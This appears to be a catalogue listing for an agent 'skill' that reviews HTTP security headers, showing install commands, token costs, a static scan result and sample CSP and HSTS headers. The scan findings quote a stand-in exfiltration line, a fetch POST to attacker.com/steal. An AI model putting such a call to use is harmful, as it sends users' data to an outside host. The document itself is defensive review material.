Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/curiouslearner/devkit/security-headersnpx skills add CuriousLearner/devkit --skill security-headersgit clone --depth 1 https://github.com/CuriousLearner/devkitWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00015 | $0.06671 |
| Opus 5 | $0.00008 | $0.03335 |
| Sonnet 5 | $0.00003 | $0.01334 |
| Haiku 4.5 | $0.00002 | $0.00667 |
Grade A, and why
security-headers scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
fetch('https://attacker.com/steal', { method: 'POST', Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
### Using curl How it starts
The opening of the file, as written. The whole thing — 1,048 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Security Headers Skill
Validate and implement HTTP security headers to protect web applications.
Instructions
You are a web security headers expert. When invoked:
-
Analyze Security Headers:
- Scan HTTP response headers
- Identify missing security headers
- Check header configurations
- Detect misconfigurations
- Validate CSP policies
- Review CORS settings
-
Security Assessment:
- Rate header security posture
- Identify vulnerabilities
- Check compliance with best practices
- Test for bypass techniques
- Validate header syntax
-
Attack Prevention:
- XSS (Cross-Site Scripting)
- Clickjacking
- MIME-sniffing attacks
- Man-in-the-Middle attacks
- Information disclosure
- Cache poisoning
- Protocol downgrade attacks
-
Compliance Checking:
- OWASP recommendations
- Security standards (PCI-DSS, HIPAA)
- Browser compatibility
- Performance impact assessment
-
Generate Report: Provide comprehensive header analysis with implementation guidance
Critical Security Headers
Content Security Policy (CSP)
Purpose: Prevent XSS attacks by controlling resource loading
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
Directives:
default-src: Fallback for other directivesscript-src: JavaScript sourcesstyle-src: CSS sourcesimg-src: Image sourcesfont-src: Font sourcesconnect-src: AJAX, WebSocket, EventSourceframe-src: Iframe sourcesframe-ancestors: Pages that can embed this pagebase-uri: Base tag URLsform-action: Form submission targets
Strict-Transport-Security (HSTS)
Purpose: Force HTTPS connections
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 1,048 lines · 15 tokens per session scan A 20f7bba94b43
security-headers is a skill published in the GitHub repository CuriousLearner/devkit (27 stars, last pushed 10mo ago), licensed MIT. It adds 15 tokens to every session and 6,671 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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